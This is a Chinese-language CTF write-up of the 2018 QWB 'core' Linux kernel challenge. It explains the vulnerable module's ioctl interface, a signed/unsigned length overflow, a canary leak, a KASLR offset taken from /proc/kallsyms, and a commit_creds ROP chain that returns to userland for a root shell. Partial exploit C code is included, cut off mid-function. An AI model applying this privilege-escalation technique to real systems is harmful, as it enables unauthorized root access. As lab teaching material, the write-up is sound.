linux_kernal_pwn 2018 强网杯 - core

本文介绍了如何利用开启的KASLR在内核中进行代码段偏移,通过Proc文件系统操作实现模块注册、通信,并利用rop链执行提权。涉及proc_create、Proc文件系统、KASLR、fgkaslr和内核地址查找技术。

在这里插入图片描述
四个文件,vmlinux不用提取了。

在这里插入图片描述开了kaslr。

我们说内核的保护分四种,隔离、访问控制、异常检测、随机化。
随机化有两种,一个是kaslr,一个是fgkaslr。

在开启了 KASLR 的内核中,内核的代码段基地址等地址会整体偏移。

然后解压文件系统,看看init文件相关配置。

mkdir core
cp core.cpio ./core
cd core
mv ./core.cpio core.cpio.gz     
 #因为cpio是经过gzip压缩过的,必须更改名字,gunzip才认识
gunzip ./core.cpio.gz 
#gunzip解压一会cpio才可以认识,不然就会报畸形数字
cpio -idmv < ./core.cpio 
#cpio是解压指令 -idmv是它的四个参数
#-i或--extract  执行copy-in模式,还原备份档。
#-d或--make-directories  如有需要cpio会自行建立目录。
#-v或--verbose  详细显示指令的执行过程。
#-m或preserve-modification-time  不去更换文件的更改时间

在这里插入图片描述挂载了core.ko

然后丢到ida

module
在这里插入图片描述
先说proc_create是个啥。
现说proc是个啥

Proc文件系统
Proc File System是一个虚拟的文件系统,可以理解为内核对用户开放的接口,让内核和用户进程进行数据交换 (读取内核进程的数据,修改内核参数等)

要创建一个Proc file需要实现file_operation结构体,主要实现read和write就可以了。然后通过proc_create来注册。将模块注册到内核后,就能在/proc/目录找到我们的文件。
对该文件进行读写就能实现用户进程与内核的通信。

所以说proc_create的作用只不过是将模块注册到内核,然后能在proc目录中找到,对该文件可以读写。
后面的参数稍微看一下。

static inline struct proc_dir_entry *proc_create(
    const char *name, umode_t mode, struct proc_dir_entry *parent,
    const struct file_operations *proc_fops)
{
   
   
    return proc_create_data(name, mode, parent, proc_fops, NULL);
}

name名字,mode模式
parent是父,当值为0默认父是/proc
proc_fops是函数操作表。

ioctl
在这里插入图片描述
定义了三条命令,分别调用 core_read(),core_copy_func() 和设置全局变量 off

write
在这里插入图片描述向全局变量name上写东西。

read
在这里插入图片描述从v5拷贝64字节到用户空间,但是我们可以控制off,所以可以完成一些操作。

copy
在这里插入图片描述
从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,它占两个字节还是无符号的
但传递的长度是 signed __int64,因此如果控制传入的长度是个负数,而且低二字节比较大,就可以栈溢出了 。

所以说半天思路还是比较清晰的,先通过read泄露canary,然后通过write跟copy布置rop就好了。

布置rop干点啥,要执行一个函数,也就是我们说的内核可以控制权限的函数
commit_creds(prepare_kernel_cred(0)) 也是最常用的提权手段,两个函数的地址都可以在 /proc/kallsyms 中查看。

然后返回用户态,起个shell。

要注意的是什么呢?
1、首先我们需要写从/proc/kallsyms中去寻找地址的代码,找到他们的偏移。
2、然后我们因为开了kaslr,所以我们vmlinux会偏移,我们可以泄露vmlinux的基地址,最后得到偏移offset。得到有啥用过,我们要去找gadget来做溢出。
找gadget要用ropper去找。
3、我们最后要返回用户态去执行system,为啥,因为在内核空间想要去修改文件系统啊啥的都非常麻烦。所以我们就先保存寄存器的内容,然后最后通过swapgs; iretq去到这个用户态。

exp

QWB2018_core [master●●] cat exploit.c 
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
   
   
    if(!getuid())
    {
   
   
        system("/bin/sh");
    }
    else
    {
   
   
        puts("[*]spawn shell error!");
    }
    exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
   
   
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
   
   
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {
   
   0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
   
   
        if(commit_creds & prepare_kernel_cred)
            return 0;
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值